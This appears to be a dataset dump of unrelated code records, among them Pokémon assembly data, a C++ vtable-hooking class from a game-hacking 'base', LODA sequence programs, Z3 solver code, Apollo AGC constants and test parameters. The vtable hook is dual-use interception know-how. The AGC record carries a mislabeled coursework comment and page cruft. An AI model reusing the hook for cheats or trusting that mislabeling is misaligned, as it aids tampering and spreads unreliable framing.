text stringlengths 1 1.05M |
|---|
db 0 ; species ID placeholder
db 30, 80, 90, 55, 55, 45
; hp atk def spd sat sdf
db ROCK, WATER ; type
db 45 ; catch rate
db 119 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F12_5 ; gender ratio
db 100 ; unknown 1
db 30 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/kabuto/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_WATER_1, EGG_WATER_3 ; egg groups
; tm/hm learnset
tmhm CURSE, ROLLOUT, TOXIC, ROCK_SMASH, HIDDEN_POWER, SNORE, BLIZZARD, ICY_WIND, PROTECT, RAIN_DANCE, GIGA_DRAIN, ENDURE, FRUSTRATION, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SANDSTORM, REST, ATTRACT, THIEF, WATER_SPORT, ICE_BEAM
; end
|
//
// ruvi base
//
#pragma once
// includes
#include <cassert>
#include <cstdint>
#include <cstring>
//
// credits to namaszo for that vmt class
//
class vmt_hook {
public:
constexpr vmt_hook() : m_new_vmt{nullptr}, m_old_vmt{nullptr} {}
~vmt_hook() {
if (m_new_vmt)
delete[](m_new_vmt - 1);
}
void initialize(void **original_table) {
m_old_vmt = original_table;
std::size_t size = 0;
while (m_old_vmt[size])
++size;
m_new_vmt = (new void *[size + 1]) + 1;
std::memcpy(m_new_vmt - 1, m_old_vmt - 1, sizeof(void *) * (size + 1));
}
bool initialize_and_hook_instance(void *instance) {
void **&vtbl = *reinterpret_cast<void ***>(instance);
bool initialized = false;
if (!m_old_vmt) {
initialized = true;
initialize(vtbl);
}
// hook instance
hook_instance(instance);
return initialized;
}
constexpr void leak_table() { m_new_vmt = nullptr; }
void hook_instance(void *inst) const {
void **&vtbl = *reinterpret_cast<void ***>(inst);
assert(vtbl == m_old_vmt || vtbl == m_new_vmt);
vtbl = m_new_vmt;
}
void unhook_instance(void *inst) const {
void **&vtbl = *reinterpret_cast<void ***>(inst);
assert(vtbl == m_old_vmt || vtbl == m_new_vmt);
vtbl = m_old_vmt;
}
template <typename fn>
fn hook_function(fn hooked_fn, const std::size_t index) {
m_new_vmt[index] = reinterpret_cast<void *>(hooked_fn);
return reinterpret_cast<fn>(m_old_vmt[index]);
}
template <typename fn> void apply_hook(std::size_t index) {
fn::original = hook_function(&fn::hooked, index);
}
template <typename fn = std::uintptr_t>
fn get_original_function(const int index) {
return reinterpret_cast<fn>(m_old_vmt[index]);
}
private:
void **m_new_vmt = nullptr;
void **m_old_vmt = nullptr;
};
|
; A004764: Numbers whose binary expansion does not begin 110.
; 0,1,2,3,4,5,7,8,9,10,11,14,15,16,17,18,19,20,21,22,23,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86
mov $5,$0
mul $0,2
mov $1,5
mov $2,4
mov $4,3
lpb $0,1
add $0,$2
sub $0,$2
mul $1,2
add $4,$1
add $0,$4
sub $0,$4
sub $0,1
add $2,4
mov $3,$0
mov $0,$1
sub $1,4
trn $2,$1
sub $3,$2
add $4,2
trn $3,$4
add $0,$3
sub $4,4
add $4,$1
sub $4,3
lpe
sub $1,4
lpb $5,1
add $1,1
sub $5,1
lpe
sub $1,1
|
/*++
Copyright (c) 2011 Microsoft Corporation
Module Name:
sat_scc.cpp
Abstract:
Use binary clauses to compute strongly connected components.
Author:
Leonardo de Moura (leonardo) 2011-05-26.
Revision History:
--*/
#include"sat_scc.h"
#include"sat_solver.h"
#include"sat_elim_eqs.h"
#include"stopwatch.h"
#include"trace.h"
#include"sat_scc_params.hpp"
namespace sat {
scc::scc(solver & s, params_ref const & p):
m_solver(s) {
reset_statistics();
updt_params(p);
}
struct frame {
unsigned m_lidx;
bool m_first;
watched * m_it;
watched * m_end;
frame(unsigned lidx, watched * it, watched * end):m_lidx(lidx), m_first(true), m_it(it), m_end(end) {}
};
typedef svector<frame> frames;
struct scc::report {
scc & m_scc;
stopwatch m_watch;
unsigned m_num_elim;
report(scc & c):
m_scc(c),
m_num_elim(c.m_num_elim) {
m_watch.start();
}
~report() {
m_watch.stop();
IF_VERBOSE(SAT_VB_LVL,
verbose_stream() << " (sat-scc :elim-vars " << (m_scc.m_num_elim - m_num_elim)
<< mk_stat(m_scc.m_solver)
<< " :time " << std::fixed << std::setprecision(2) << m_watch.get_seconds() << ")\n";);
}
};
unsigned scc::operator()() {
if (m_solver.m_inconsistent)
return 0;
if (!m_scc)
return 0;
CASSERT("scc_bug", m_solver.check_invariant());
report rpt(*this);
TRACE("scc", m_solver.display(tout););
TRACE("scc_details", m_solver.display_watches(tout););
unsigned_vector index;
unsigned_vector lowlink;
unsigned_vector s;
svector<char> in_s;
unsigned num_lits = m_solver.num_vars() * 2;
index.resize(num_lits, UINT_MAX);
lowlink.resize(num_lits, UINT_MAX);
in_s.resize(num_lits, false);
literal_vector roots;
roots.resize(m_solver.num_vars(), null_literal);
unsigned next_index = 0;
svector<frame> frames;
bool_var_vector to_elim;
for (unsigned l_idx = 0; l_idx < num_lits; l_idx++) {
if (index[l_idx] != UINT_MAX)
continue;
if (m_solver.was_eliminated(to_literal(l_idx).var()))
continue;
m_solver.checkpoint();
#define NEW_NODE(LIDX) { \
index[LIDX] = next_index; \
lowlink[LIDX] = next_index; \
next_index++; \
s.push_back(LIDX); \
in_s[LIDX] = true; \
watch_list & wlist = m_solver.get_wlist(LIDX); \
frames.push_back(frame(LIDX, wlist.begin(), wlist.end())); \
}
NEW_NODE(l_idx);
while (!frames.empty()) {
loop:
frame & fr = frames.back();
unsigned l_idx = fr.m_lidx;
if (!fr.m_first) {
// after visiting child
literal l2 = fr.m_it->get_literal();
unsigned l2_idx = l2.index();
SASSERT(index[l2_idx] != UINT_MAX);
if (lowlink[l2_idx] < lowlink[l_idx])
lowlink[l_idx] = lowlink[l2_idx];
fr.m_it++;
}
fr.m_first = false;
while (fr.m_it != fr.m_end) {
if (!fr.m_it->is_binary_clause()) {
fr.m_it++;
continue;
}
literal l2 = fr.m_it->get_literal();
unsigned l2_idx = l2.index();
if (index[l2_idx] == UINT_MAX) {
NEW_NODE(l2_idx);
goto loop;
}
else if (in_s[l2_idx]) {
if (index[l2_idx] < lowlink[l_idx])
lowlink[l_idx] = index[l2_idx];
}
fr.m_it++;
}
// visited all successors
if (lowlink[l_idx] == index[l_idx]) {
// found new SCC
CTRACE("scc_cycle", s.back() != l_idx, {
tout << "cycle: ";
unsigned j = s.size() - 1;
unsigned l2_idx;
do {
l2_idx = s[j];
j--;
tout << to_literal(l2_idx) << " ";
}
while (l2_idx != l_idx);
tout << "\n";
});
SASSERT(!s.empty());
literal l = to_literal(l_idx);
bool_var v = l.var();
if (roots[v] != null_literal) {
// variable was already assigned... just consume stack
TRACE("scc_detail", tout << "consuming stack...\n";);
unsigned l2_idx;
do {
l2_idx = s.back();
s.pop_back();
in_s[l2_idx] = false;
SASSERT(roots[to_literal(l2_idx).var()].var() == roots[v].var());
}
while (l2_idx != l_idx);
}
else {
// check if the SCC has an external variable, and check for conflicts
TRACE("scc_detail", tout << "assigning roots...\n";);
literal r = null_literal;
unsigned j = s.size() - 1;
unsigned l2_idx;
do {
l2_idx = s[j];
j--;
if (to_literal(l2_idx) == ~l) {
m_solver.set_conflict(justification());
return 0;
}
if (m_solver.is_external(to_literal(l2_idx).var())) {
r = to_literal(l2_idx);
break;
}
}
while (l2_idx != l_idx);
if (r == null_literal) {
// SCC does not contain external variable
r = to_literal(l_idx);
}
TRACE("scc_detail", tout << "r: " << r << "\n";);
do {
l2_idx = s.back();
s.pop_back();
in_s[l2_idx] = false;
literal l2 = to_literal(l2_idx);
bool_var v2 = l2.var();
if (roots[v2] == null_literal) {
if (l2.sign()) {
roots[v2] = ~r;
}
else {
roots[v2] = r;
}
if (v2 != r.var())
to_elim.push_back(v2);
}
}
while (l2_idx != l_idx);
}
}
frames.pop_back();
}
}
TRACE("scc", for (unsigned i = 0; i < roots.size(); i++) { tout << i << " -> " << roots[i] << "\n"; }
tout << "to_elim: "; for (unsigned i = 0; i < to_elim.size(); i++) tout << to_elim[i] << " "; tout << "\n";);
m_num_elim += to_elim.size();
elim_eqs eliminator(m_solver);
eliminator(roots, to_elim);
TRACE("scc_detail", m_solver.display(tout););
CASSERT("scc_bug", m_solver.check_invariant());
return to_elim.size();
}
void scc::collect_statistics(statistics & st) const {
st.update("elim bool vars", m_num_elim);
}
void scc::reset_statistics() {
m_num_elim = 0;
}
void scc::updt_params(params_ref const & _p) {
sat_scc_params p(_p);
m_scc = p.scc();
}
void scc::collect_param_descrs(param_descrs & d) {
sat_scc_params::collect_param_descrs(d);
}
};
|
; Untuk tugas kuliah kalian dalam membuat grafik bintang
; hanya membantu :D
BIT15 OCT 40000
BIT14 OCT 20000
BIT13 OCT 10000
BIT12 OCT 04000
BIT11 OCT 02000
BIT10 OCT 01000
BIT9 OCT 00400
BIT8 OCT 00200
BIT7 OCT 00100
BIT6 OCT 00040
BIT5 OCT 00020
BIT4 OCT 00010
BIT3 OCT 00004
BIT2 OCT 00002
BIT1 OCT 00001
# DO NOT DESTROY THIS COMBINATION, SINCE IT IS USED IN DOUBLE PRECISION INSTRUCTIONS.
NEG0 OCT -0 # MUST PRECEDE ZERO
ZERO OCT 0 # MUST FOLLOW NEG0
# BIT1 OCT 00001
# NO.WDS OCT 2 # INTERPRETER
# OCTAL3 OCT 3 # INTERPRETER
# R3D1 OCT 4 # PINBALL
FIVE OCT 5
# REVCNT OCT 6 # INTERPRETER
SEVEN OCT 7
# BIT4 OCT 00010
# R2D1 OCT 11 # PINBALL
OCT11 = R2D1 # P20S
# BINCON DEC 10 # PINBALL (OCTAL 12)
ELEVEN DEC 11
# OCT14 OCT 14 # ALARM AND ABORT (FILLER)
OCT15 OCT 15
# R1D1 OCT 16 # PINBALL
# Page 1201
LOW4 OCT 17
# BIT5 OCT 00020
# ND1 OCT 21 # PINBALL
# VD1 OCT 23 # PINBALL
# OCT24 OCT 24 # SERVICE ROUTINES
# MD1 OCT 25 # PINBALL
BITS4&5 OCT 30
# OCT31 OCT 31 # SERVICE ROUTINES
CALLCODE OCT 00032
# LOW5 OCT 37 # PINBALL
# 33DEC DEC 33 # PINBALL (OCTAL 41)
# 34DEC DEC 34 # PINBALL (OCTAL 42)
TBUILDFX DEC 37 # BUILDUP FOR CONVIENCE IN DAPTESTING
TDECAYFX DEC 38 # CONVENIENCE FOR DAPTESTING
# BIT6 OCT 00040
OCT50 OCT 50
DEC45 DEC 45
SUPER011 OCT 60 # BITS FOR SUPERBNK SETTING 011.
.5SEC DEC 50
# BIT7 OCT 00100
SUPER100 = BIT7 # BITS FOR SUPERBNK SETTING 100
# (LAST 4K OF ROPE)
SUPER101 OCT 120 # BITS FOR SUPERBNK SETTING 101
# OCT121 OCT 121 # SERVICE ROUTINES
# (FIRST 8K OF ACM)
SUPER110 OCT 140 # BITS FOR SUPERBNK SETTING 110.
# (LAST 8K OF ACM)
1SEC DEC 100
# LOW7 OCT 177 # INTERPRETER
# BIT8 OCT 00200
# OT215 OCT 215 # ALARM AND ABORT
# 8,5 OCT 00220 # P20-P25 SUNDANCE
2SECS DEC 200
# LOW8 OCT 377 # PINBALL
# BIT9 OCT 00400
GN/CCODE OCT 00401 # SET S/C CONTROL SWITCH TO G/N
3SECS DEC 300
4SECS DEC 400
LOW9 OCT 777
# BIT10 OCT 01000
# 5.5DEGS DEC .03056 # P20-P25 SUNDANCE (OCTAL 00765)
# OCT1103 OCT 1103 # ALARM AND ABORT
C5/2 DEC .0363551 # (OCTAL 01124)
V05N09 VN 0509 # (SAME AS OCTAL 1211)
OCT1400 OCT 01400
V06N22 VN 0622
# MID5 OCT 1740 # PINBALL
BITS2-10 OCT 1776
LOW10 OCT 1777
# Page 1202
# BIT11 OCT 02000
# 2K+3 OCT 2003 # PINBALL
LOW7+2K OCT 2177 # OP CODE MASK + BANK 1 FBANK SETTING.
EBANK5 OCT 02400
PRIO3 OCT 03000
EBANK7 OCT 03400
# LOW11 OCT 3777 # PINBALL
# BIT12 OCT 04000
# RELTAB OCT 04025 # T4RUPT
PRIO5 OCT 05000
PRIO6 OCT 06000
PRIO7 OCT 07000
# BIT13 OCT 10000
# OCT 10003 # T4RUPT RELTAB +1D
# 13,7,2 OCT 10102 # P20-P25 SUNDANCE
PRIO11 OCT 11000
# PRIO12 OCT 12000 # BANKCALL
PRIO13 OCT 13000
PRIO14 OCT 14000
# OCT 14031 # T4RUPT RELTAB +2D
PRIO15 OCT 15000
PRIO16 OCT 16000
# 85DEGS DEC .45556 # P20-P25 SUNDANCE (OCTAL 16450)
PRIO17 OCT 17000
OCT17770 OCT 17770
# BIT14 OCT 20000
# OCT 20033 # T4RUPT RELTAB +3D
PRIO21 OCT 21000
BLOCK 03
COUNT 03/FCONS
PRIO22 OCT 22000 # SERVICE ROUTINES
PRIO23 OCT 23000
PRIO24 OCT 24000
# 5/8+1 OCT 24001 # SINGLE PRECISION SUBROUTINES
# OCT 24017 # T4RUPT RELTAB +4D
PRIO25 OCT 25000
PRIO26 OCT 26000
PRIO27 OCT 27000
# CHRPRIO OCT 30000 # PINBALL
# OCT 30036 # T4RUPT RELTAB +5D
PRIO31 OCT 31000
C1/2 DEC .7853134 # (OCTAL 31103)
PRIO32 OCT 32000
PRIO33 OCT 33000
PRIO34 OCT 34000
# OCT 34034 # T4RUPT RELTAB +6D
PRIO35 OCT 35000
PRIO36 OCT 36000
# Page 1203
PRIO37 OCT 37000
63/64+1 OCT 37401
# MID7 OCT 37600 # PINBALL
OCT37766 OCT 37766
OCT37774 OCT 37774
OCT37776 OCT 37776
# DPOSMAX OCT 37777
# BIT15 OCT 40000
# OCT40001 OCT 40001 # INTERPRETER (CS 1 INSTRUCTION)
DLOADCOD OCT 40014
DLOAD* OCT 40015
# OCT 40023 # T4RUPT RELTAB +7D
BIT15+6 OCT 40040
OCT40200 OCT 40200
# OCT 44035 # T4RUPT RELTAB +8D
# OCT 50037 # T4RUPT RELTAB +9D
# OCT 54000 # T4RUPT RELTAB +10D
-BIT14 OCT 57777
# RELTAB11 OCT 60000 # T4RUPT
C3/2 DEC -.3216147 # (OCTAL 65552)
13,14,15 OCT 70000
-1/8 OCT 73777
HIGH4 OCT 74000
-ENDERAS DEC -2001 # (OCTAL 74056)
# HI5 OCT 76000 # PINBALL
HIGH9 OCT 77700
# -ENDVAC DEC -45 # INTERPRETER (OCTAL 77722)
# -OCT10 OCT -10 # (OCT 77767)
# NEG4 DEC -4 # (OCTAL 77773)
NEG3 DEC -3
NEG2 OCT 77775
NEGONE DEC -1
# Page 1204
# DEFINED BY EQUALS
# IT WOULD BE TO THE USERS ADVANTAGE TO OCCASIONALLY CHECK ANY OF THESE SYMBOLS IN ORDER TO PREVENT ANY
# ACCIDENTAL DEFINITION CHANGES.
MINUS1 = NEG1
NEG1 = NEGONE
ONE = BIT1
TWO = BIT2
THREE = OCTAL3
LOW2 = THREE
FOUR = BIT3
SIX = REVCNT
LOW3 = SEVEN
EIGHT = BIT4
NINE = R2D1
TEN = BINCON
NOUTCON = ELEVEN
OCT23 = VD1
OCT25 = MD1
PRIO1 = BIT10
EBANK3 = OCT1400
PRIO2 = BIT11
OCT120 = SUPER101
OCT140 = SUPER110
2K = BIT11
EBANK4 = BIT11
PRIO4 = BIT12
EBANK6 = PRIO3
QUARTER = BIT13
PRIO10 = BIT13
OCT10001 = CCSL
POS1/2 = HALF
PRIO20 = BIT14
HALF = BIT14
PRIO30 = CHRPRIO
BIT13-14 = PRIO30 # INTERPRETER USES IN PROCESSING STORECODE
OCT30002 = TLOAD +1
B12T14 = PRIO34
NEGMAX = BIT15
VLOADCOD = BIT15
VLOAD* = OCT40001
OCT60000 = RELTAB11
BANKMASK = HI5
Desktop version Sign out
|
; A077836: Expansion of (1-x)/(1-3*x-3*x^2-3*x^3).
; Submitted by Jamie Morken(s4)
; 1,2,9,36,141,558,2205,8712,34425,136026,537489,2123820,8392005,33159942,131027301,517737744,2045774961,8083620018,31941398169,126212379444,498712192893,1970597911518,7786567451565,30767632667928,121574394093033,480385782637578
mov $5,$0
mov $7,2
lpb $7
mov $0,$5
mov $3,0
mov $4,0
sub $7,1
add $0,$7
sub $0,1
mov $1,1
mov $2,1
lpb $0
sub $0,1
mul $1,3
add $1,$4
add $1,$3
mul $2,3
mov $4,$3
mov $3,$2
mov $2,$1
lpe
mov $0,$1
mov $8,$7
mul $8,$1
add $6,$8
lpe
min $5,1
mul $5,$0
mov $0,$6
sub $0,$5
|
/*
Copyright (c) 2005-2015, University of Oxford.
All rights reserved.
University of Oxford means the Chancellor, Masters and Scholars of the
University of Oxford, having an administrative office at Wellington
Square, Oxford OX1 2JD, UK.
This file is part of Chaste.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the University of Oxford nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef CELLPROLIFERATIVEPHASESWRITER_HPP_
#define CELLPROLIFERATIVEPHASESWRITER_HPP_
#include "ChasteSerialization.hpp"
#include <boost/serialization/base_object.hpp>
#include "AbstractCellWriter.hpp"
/**
* A class written using the visitor pattern for writing cell proliferative phases to file.
*
* The output file is called results.vizcellphases by default. If VTK is switched on,
* then the writer also specifies the VTK output for each cell, which is stored in
* the VTK cell data "Cycle phases" by default.
*/
template<unsigned ELEMENT_DIM, unsigned SPACE_DIM>
class CellProliferativePhasesWriter : public AbstractCellWriter<ELEMENT_DIM, SPACE_DIM>
{
private:
/** Needed for serialization. */
friend class boost::serialization::access;
/**
* Serialize the object and its member variables.
*
* @param archive the archive
* @param version the current version of this class
*/
template<class Archive>
void serialize(Archive & archive, const unsigned int version)
{
archive & boost::serialization::base_object<AbstractCellWriter<ELEMENT_DIM, SPACE_DIM> >(*this);
}
public:
/**
* Default constructor.
*/
CellProliferativePhasesWriter();
/**
* Overridden GetCellDataForVtkOutput() method.
*
* Get a double associated with a cell. This method reduces duplication
* of code between the methods VisitCell() and AddVtkData().
*
* @param pCell a cell
* @param pCellPopulation a pointer to the cell population owning the cell
*
* @return data associated with the cell
*/
double GetCellDataForVtkOutput(CellPtr pCell, AbstractCellPopulation<ELEMENT_DIM, SPACE_DIM>* pCellPopulation);
/**
* Overridden VisitCell() method.
*
* Visit a cell and write its proliferative phase
* (its current phase in the cell cycle). These
* are defined in CellCyclePhases.hpp
*
* Outputs a line of space-separated values of the form:
* ...[cell proliferative phase] ...
*
* This is appended to the output written by AbstractCellBasedWriter, which is a single
* value [present simulation time], followed by a tab.
*
* @param pCell a cell
* @param pCellPopulation a pointer to the cell population owning the cell
*/
virtual void VisitCell(CellPtr pCell, AbstractCellPopulation<ELEMENT_DIM, SPACE_DIM>* pCellPopulation);
};
#include "SerializationExportWrapper.hpp"
EXPORT_TEMPLATE_CLASS_ALL_DIMS(CellProliferativePhasesWriter)
#endif /* CELLPROLIFERATIVEPHASESWRITER_HPP_ */
|
// Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include <vector>
#include "low_precision_transformations/convolution_transformation.hpp"
#include "low_precision_transformations/convolution_with_incorrect_weights.hpp"
#include "common_test_utils/test_constants.hpp"
using namespace LayerTestsDefinitions;
namespace {
const std::vector<ngraph::element::Type> netPrecisions = {
ngraph::element::f32,
// ngraph::element::f16,
};
const std::vector<ngraph::pass::low_precision::LayerTransformation::Params> trasformationParamValues = {
LayerTestsUtils::LayerTransformationParamsNGraphFactory::createParams()
};
const std::vector<LayerTestsDefinitions::ConvolutionTransformationParam> params = {
{
{ 256ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
false,
{},
false,
"Convolution",
"FP32"
},
{
{},
false,
{ 255ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"FP32"
},
{
{ 256ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
false,
{ 255ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"U8"
},
{
{ 256ul, ngraph::Shape {}, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
false,
{ 255ul, ngraph::Shape {}, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"U8"
},
{
{ 14ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
false,
{ 14ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"FP32"
},
{
{ 14ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 25.5f }, { 0.f }, { 25.5f } },
false,
{ 255ul, ngraph::Shape { 1, 1, 1, 1 }, { -12.7f }, { 12.7f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"FP32"
},
{
{ 256ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
false,
{ 14ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"FP32"
},
{
{ 256ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { -12.7f }, { 12.8f } },
true,
{ 255ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"U8"
},
{
{ 256ul, ngraph::Shape { 1 }, { 0.f }, { 255.f }, { -18.7f }, { 18.8f } },
true,
{ 255ul, ngraph::Shape { 1 }, { 0.f }, { 254.f }, { -18.7f }, { 18.7f } },
false,
"Convolution",
"U8"
},
{
{ 256ul, ngraph::Shape { 1 }, { 0.f }, { 255.f }, { -18.7f }, { 18.8f } },
true,
{
255ul, ngraph::Shape { 6, 1, 1, 1 }, { -0.6f }, { 0.6f },
{ -1.52806e-39f, -0.2, -0.3, -0.3, -0.2, -0.1 }, { 1.52806e-39f, 0.2, 0.3, 0.3, 0.2, 0.1 }
},
false,
"Convolution",
"U8"
},
{
{ 256ul, ngraph::Shape { 1 }, { 0.f }, { 255.f }, { -18.7f }, { 18.8f } },
true,
{
255ul, ngraph::Shape { 6, 1, 1, 1 }, { -0.6f }, { 0.6f },
{ -1.52806e-39f, -1.52806e-39f, -1.52806e-39f, -1.52806e-39f, -1.52806e-39f, -1.52806e-39f },
{ 1.52806e-39f, 1.52806e-39f, 1.52806e-39f, 1.52806e-39f, 1.52806e-39f, 1.52806e-39f }
},
false,
"Convolution",
"U8"
},
};
const std::vector<ngraph::Shape> shapes = {
{ 1, 3, 16, 16 },
{ 4, 3, 16, 16 }
};
INSTANTIATE_TEST_SUITE_P(smoke_LPT, ConvolutionTransformation,
::testing::Combine(
::testing::ValuesIn(netPrecisions),
::testing::ValuesIn(shapes),
::testing::Values(CommonTestUtils::DEVICE_CPU),
::testing::ValuesIn(trasformationParamValues),
::testing::ValuesIn(params)),
ConvolutionTransformation::getTestCaseName);
const std::vector<LayerTestsDefinitions::ConvolutionWIthIncorrectWeightsParam> incorrectWeightsParams = {
// incorrect weights
{
{ 256ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
{ 255ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -127.f }, { 127.f } },
false
},
// correct weights
{
{ 256ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
{ 255ul, ngraph::Shape { 1, 1, 1, 1 }, { 0.f }, { 254.f }, { -127.f }, { 127.f } },
true
}
};
INSTANTIATE_TEST_SUITE_P(smoke_LPT, ConvolutionWIthIncorrectWeightsTransformation,
::testing::Combine(
::testing::ValuesIn(netPrecisions),
::testing::Values(ngraph::Shape({ 1, 3, 16, 16 })),
::testing::Values(CommonTestUtils::DEVICE_CPU),
::testing::ValuesIn(trasformationParamValues),
::testing::ValuesIn(incorrectWeightsParams)),
ConvolutionWIthIncorrectWeightsTransformation::getTestCaseName);
namespace convolution3D {
const std::vector<LayerTestsDefinitions::ConvolutionTransformationParam> params = {
{
{ 256ul, ngraph::Shape { 1, 1, 1}, { 0.f }, { 255.f }, { 0.f }, { 25.5f } },
false,
{ 255ul, ngraph::Shape { 1, 1, 1}, { 0.f }, { 254.f }, { -12.7f }, { 12.7f } },
false,
"Convolution",
"U8"
},
};
const std::vector<ngraph::Shape> shapes = {
{ 1, 3, 16 },
{ 4, 3, 16 }
};
INSTANTIATE_TEST_SUITE_P(smoke_LPT, ConvolutionTransformation,
::testing::Combine(
::testing::ValuesIn(netPrecisions),
::testing::ValuesIn(shapes),
::testing::Values(CommonTestUtils::DEVICE_CPU),
::testing::ValuesIn(trasformationParamValues),
::testing::ValuesIn(params)),
ConvolutionTransformation::getTestCaseName);
} // namespace convolution3D
} // namespace
|
/*
* Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#include <Atom/RHI.Edit/ShaderCompilerArguments.h>
#include <AzFramework/StringFunc/StringFunc.h>
#include <AzCore/std/string/regex.h>
#include <Atom/RHI.Edit/Utils.h>
namespace AZ
{
namespace RHI
{
template< typename AzEnumType >
static void RegisterEnumerators(::AZ::SerializeContext* context)
{
auto enumMaker = context->Enum<AzEnumType>();
for (auto&& member : AzEnumTraits< AzEnumType >::Members)
{
enumMaker.Value(member.m_string.data(), member.m_value);
}
}
void ShaderCompilerArguments::Reflect(ReflectContext* context)
{
if (auto* serializeContext = azrtti_cast<SerializeContext*>(context))
{
RegisterEnumerators<MatrixOrder>(serializeContext);
serializeContext->Class<ShaderCompilerArguments>()
->Version(2)
->Field("AzslcWarningLevel", &ShaderCompilerArguments::m_azslcWarningLevel)
->Field("AzslcWarningAsError", &ShaderCompilerArguments::m_azslcWarningAsError)
->Field("AzslcAdditionalFreeArguments", &ShaderCompilerArguments::m_azslcAdditionalFreeArguments)
->Field("DxcDisableWarnings", &ShaderCompilerArguments::m_dxcDisableWarnings)
->Field("DxcWarningAsError", &ShaderCompilerArguments::m_dxcWarningAsError)
->Field("DxcDisableOptimizations", &ShaderCompilerArguments::m_dxcDisableOptimizations)
->Field("DxcGenerateDebugInfo", &ShaderCompilerArguments::m_dxcGenerateDebugInfo)
->Field("DxcOptimizationLevel", &ShaderCompilerArguments::m_dxcOptimizationLevel)
->Field("DxcAdditionalFreeArguments", &ShaderCompilerArguments::m_dxcAdditionalFreeArguments)
->Field("DefaultMatrixOrder", &ShaderCompilerArguments::m_defaultMatrixOrder)
;
}
}
bool ShaderCompilerArguments::HasMacroDefinitionsInCommandLineArguments()
{
return CommandLineArgumentUtils::HasMacroDefinitions(m_azslcAdditionalFreeArguments) ||
CommandLineArgumentUtils::HasMacroDefinitions(m_dxcAdditionalFreeArguments);
}
void ShaderCompilerArguments::Merge(const ShaderCompilerArguments& right)
{
if (right.m_azslcWarningLevel != LevelUnset)
{
m_azslcWarningLevel = right.m_azslcWarningLevel;
}
m_azslcWarningAsError = m_azslcWarningAsError || right.m_azslcWarningAsError;
m_azslcAdditionalFreeArguments = CommandLineArgumentUtils::MergeCommandLineArguments(m_azslcAdditionalFreeArguments, right.m_azslcAdditionalFreeArguments);
m_dxcDisableWarnings = m_dxcDisableWarnings || right.m_dxcDisableWarnings;
m_dxcWarningAsError = m_dxcWarningAsError || right.m_dxcWarningAsError;
m_dxcDisableOptimizations = m_dxcDisableOptimizations || right.m_dxcDisableOptimizations;
m_dxcGenerateDebugInfo = m_dxcGenerateDebugInfo || right.m_dxcGenerateDebugInfo;
if (right.m_dxcOptimizationLevel != LevelUnset)
{
m_dxcOptimizationLevel = right.m_dxcOptimizationLevel;
}
m_dxcAdditionalFreeArguments = CommandLineArgumentUtils::MergeCommandLineArguments(m_dxcAdditionalFreeArguments, right.m_dxcAdditionalFreeArguments);
if (right.m_defaultMatrixOrder != MatrixOrder::Default)
{
m_defaultMatrixOrder = right.m_defaultMatrixOrder;
}
}
//! [GFX TODO] [ATOM-15472] Remove this function.
